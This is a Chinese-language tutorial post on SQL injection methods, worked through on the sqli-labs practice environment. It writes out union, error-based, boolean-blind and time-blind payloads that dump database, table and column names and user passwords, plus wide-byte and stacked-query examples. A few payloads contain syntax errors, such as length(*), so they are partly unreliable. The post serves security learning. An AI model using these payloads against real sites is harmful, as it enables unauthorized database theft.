sql注入手法详解

sql定义

sql--结构化查询语句

sql注入:首先我们通过前端将我们的payload(恶意代码)传送到后台服务器 传送到后台以后 我们提交的payload拼接到sql语句中 作为sql语句的一部分被执行 从而导致数据库又被脱库甚至删库的风险 使得数据库受损

sql注入手法

sql注入可以根据不同的标准进行分类

通过参数类型分类

1.数字型:如果某个参数存在注入而且参数值属于数字型的话 那么这种就被称为数字型注入

eg:select * from users where id=1;

数字型扩展:就是说参数值属于数字型 但是可能包含外围的括号(可能是一个 也可能是两个)我们得考虑到这种况

eg:select * from users where id=(1);

2.字符型:如果某个参数存在注入而且参数值属于字符型的话 那么这种就被称为字符型注入

(1)单引号字符型:外包裹是一对单引号 这个时候被称为单引号字符型注入

eg:select * from users where id='1';

(2)双引号字符型:外包裹是一对双引号 这个时候被称为双引号字符型注入

eg:select * from users where id="1";

字符型扩展:参数值属于字符型 但是可能存在外围的括号(可能是一个 也可能是两个)

eg:select * from users where id=('1');

通过注入手法分类

1.联合注入:

具体可以分成以下几个步骤:

以下部分结合sqli-labs/Less-1来讲

(1)判断页面是否可以进行联合注入手法:

我们输入?id=1 查看以下页面

 

 

可以看到页面对于我们的正确注入产生了相应的回显 所以可以进行联合注入

(2)接着判断一下注入点结构:

我们可以输入?id=1 and 1=2判断一下注入类型是否属于数字型 怎么理解为什么要输入这句话呢

我们结合sqlyog进行讲解

如果参数类型属于数字型的话 那么输出结果如下所示

首先先来看看没有条件下的查询语句及结果

 

 

然后看看加了条件并且注入类型为数字型的查询语句及结果

原理:由于and优先级大于= 所以先会执行1 and 1执行结果为1 然后执行1=2 执行结果为0 所以查询条件为id=0 当然查询不到结果

那么如果参数类型为字符型的话 查询结果及语句如下所示:

 

 

 

原理:由于id本身属于数字型 然后你传入一个字符型 就会发生类型转化操作 '1 and 1=2'会被转换为1

判断完注入类型后 如果是属于数字型的话 那么要输入?id=1--+/#进行佐证 如果没有外括号的话 那么就会有相应的页面回显 如果存在外包裹的话 那么就没有回显 那么就说明注入点包含括号 接下来就要判断一下是包含一个括号还是两个括号 分别输入?id=1)--+/# ?id=1))--+/# 然后如果其中有一个存在相应回显的话 那么注入点结构就是我们输入的那样

如果是属于字符型的话 那么要输入?id=1'/1"--+/#进行佐证 如果没有外括号的话 那么就会有相应的页面回显 如果存在外包裹的话 那么就没有回显 那么说明注入点包含括号 接下来要判断一下是包含一个括号还是两个括号 分别输入?id=1')/1")--+/# ?id=1'))/1"))--+/# 然后如果其中有一个存在相应回显的话 那么注入点结构就是我们的输入的那样

假设接下来的操作字段数为3

(3)接下来开始爆回显位顺便爆字段数 如果字段数不符合数据库中的实际字段数 那么就会报错 然后记得靶场的回显只能是一条 如果主查询存在回显的话 那么次查询就看不到查询结果了 所以我们应该让主查询无法返回查询结果 一般都设置为0或-1 如果后台服务器对注释符进行过滤操作 那么-会被当作注释符过滤掉 所以这个时候我们只能写成0

eg:?id=xx union select 1,2,3--+/#

假设接下来的回显位为2和3

(4)接下来爆库/版本号

eg:?id=xx union select 1,database(),version()--+/#

(5)接着进行爆表

eg:?id=xx union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+/#

(6)接着进行爆字段操作

eg:?id=xx union select 1,2,group_concat(column_name) from information_schema.columns where table_name='xxx' and table_schema=database()--+/#

(7)接着进行爆用户名和密码操作

eg:?id=xx union select 1,2,group_concat(username,password) from xxx--+/#

这样一个完整的脱库操作就完成了

2.报错注入

(1)首先要先判断一下是否能够进行报错注入

当我们进行了错误注入后 页面会对我们的注入有报错信息的反应 将报错信息回显在页面上

(2)然后判断一下注入点的结构:

这个可以参考联合注入里面的注入点判断 我那个写的很清楚了

(3)接下来可以通过报错注入进行各种爆破操作

我介绍以下三种方式:

group by重复键冲

如果一个表格储存的数据>=3 那么输入以下语句就会报错 下面这个例子通过重复键冲进行爆库操作

select count(*),concat(floor(rand(0)*2),database())x from xxx group by x;

extractvalue()函数

这个例子通过extractvalue()函数进行爆库操作

extractvalue(1,concat(0x7e,database(),0x7e))--+

updatexml()函数

这个例子通过updatexml()函数进行爆库操作

updatexml(1,concat(0x7e,database(),0x7e),1)--+

3.布尔盲注

(1)首先先要判断一下当前关卡是否能够进行联合注入和报错注入 因为这两个方法的执行效率实在比布尔盲注高得多 如果正确注入后没有回显位 错误注入后没有错误信息的话 那么就只能使用布尔盲注了

(2)接下来要进行的是判断注入点结构 这个可以参考联合注入里面的注入点结构判断 其实大体上都是一样的 只不过他不能显示查询的结果和报错信息了 但是他还是可以对我们的注入进行页面的辨别

(3)接下来要进行的是爆数据库的长度的操作

length(database())=xxx--+

(4)然后进行爆数据库的名称 这里我就以爆首字母为例

ascii()--可以将字符转换成对应的ascii码值

substr()--可以截取字符串

ascii(substr(database(),1,1))=xxx--+

(5)然后进行的是爆表格的个数操作

(select count(*) from information_schema.tables where table_schema=database())=xxx--+

(6)然后进行爆表格名称的个数 这里第一个表格为例

(select length(*) from information_schema.tables where table_schema=database() limit 0,1)=xxx--+

(7)然后进行爆表格名称 这里以第一个表格首字母为例

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=xxx--+

(8)接着进行爆字段个数操作

(select count(*) from information_schema.columns where table_name=xxx and table_schema=database())=xxx--+

(9)接着进行爆字段名称个数 这里以第一个字段为例

(select length(*) from information_schema.columns where table_name=xxx and table_schema=database() limit 0,1)=xxx--+

(10)接着进行爆字段名称操作 这里以第一个字段首字母为例

ascii(substr((select column_name from information_schema.columns where table_name=xxx and table_schema=database() limit 0,1),1,1))=xxx--+

(11)最后进行爆用户名和密码操作

ascii(substr((select group_concat(username,password) from xxx),1,1))=xxx--+

从上面一大段的东西你就可以知道这个注入手法有多麻烦了吧 所以我建议你们使用脚本进行爆破操作 脚本可以参考我前面写的布尔盲注脚本文章CSDN

4.时间盲注

(1)这个注入手法使用与那些对于正确注入和错误注入都显示一样页面的题目 当你怎样注入页面都不会改变的时候 这个时候得使用时间盲注

(2)判断注入点的结构 这个不可以参考联合注入的注入点结构判断 因为无论如何就只有一种页面反馈

我们具体的做法如下所示

如果想要知道是不是数字型注入的话 那么输入?id=1 and sleep(10)--+ 如果页面响应了很久 那么就属于数字型注入

如果想要知道是不是单引号字符型注入的话 那么输入?id=1' and sleep(10)--+ 如果页面响应了很久 那么就属于单引号字符型注入

如果想要知道是不是双引号字符型注入的话 那么输入?id=1" and sleep(10)--+ 如果页面响应了很久 那么就属于双引号字符型注入

至于有无扩展的话 依旧是按照同样方法进行判断

(3)时间注入的写法有两种

一种是和布尔盲注结合 比如想要获取数据库的长度 如果一旦布尔盲注判断为真后 页面就会进入响应状态

length(database())=xxx and sleep(10)--+

一种是和条件注入以及布尔盲注相结合 比如还是想要获取数据库的长度 如果一旦布尔盲注判断为真后 页面就会进入响应状态

if(length(database())=xxx,sleep(10),1)--+

(4)接着开始爆数据库的长度

length(database())=xxx and sleep(10)--+

(5)接着爆数据库的名称 这里以首字母为例

ascii(substr(database(),1,1))=xxx and sleep(10)--+

(6)接着进行爆表格个数的操作

(select count(*) from information_schema.tables where table_schema=database())=xxx and sleep(10)--+

(7)接着进行爆表格名称的个数 这里以第一个表格为例

(select length(*) from information_schema.tables where table_schema=database())=xxx and sleep(10)--+

(8)接着进行爆表格名称操作 这里以第一个表格的首字母为例

ascii(substr((select table_name from information_schema.tables where table_schema=database())=xxx limit 0,1),1,1))=xxx and sleep(10)--+

(9)接着进行爆字段个数操作

(select count(*) from information_schema.columns where table_schema=database() and table_name='xxx')=xxx and sleep(10)--+

(10)接着进行爆字段名称个数 这里以第一个表格为例

(select length(*) from information_schema.columns where table_schema=database() and table_name='xxx' limit 0,1)=xxx and sleep(10)--+

(11)接着进行爆字段名称操作 这里以第一个表格的首字母为例

ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='xxx' limit 0,1),1,1))=xxx and sleep(10)--+

(12)接着进行爆用户名和密码操作

ascii(substr((select group_concat(username,password) from xxx),1,1))=xxx and sleep(10)--+

5.http头注入

http头包括一些常见的注入点 比如user-agent、referer、cookie

但是这些东西最好通过抓包后再去进行修改或者判断

然后注入手法还是通过前面四个中去挑选即可 也就是说http头注入实际上应该和前四个注入搭配使用才能够进行后续的操作

注入手法判断完以后 剩余操作可以根据各自的手法进行爆破

6.宽字节注入

什么叫做宽字节 就是有些字符集中的部分字符得用两个字符或者两个以上字符表示 比如在gbk中 汉字用两个字节表示 在utf-8中 汉字用三个字节表示

为什么会有宽字节注入?因为我们将参数值提交到后台服务器后 如果后台服务器存在转义操作的话 那么这时候就要通过宽字节注入将转义操作需要的反斜杠一并组成一个宽字节 然后帮助反斜杠后面的字符逃逸

常见的宽字节注入:

%df%5c

%bb%5c

%c0%5c

……

后续我会在做一篇有关宽字节注入的文章

7.堆叠注入

在sql中;表示sql语句的结束

所以我们可以利用;来对两句sql语句进行分隔 并且同时执行两句sql语句

eg:select * from demo;update demo set username='xxx' where id=xxx;

但是堆叠注入也有其局限性:

比如说两句sql都是查询语句 那么只能显示第一条sql查询语句结果

8.二次注入

可以参考我以前写的关于sqli-labs/Less-24关的文章

CSDN

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>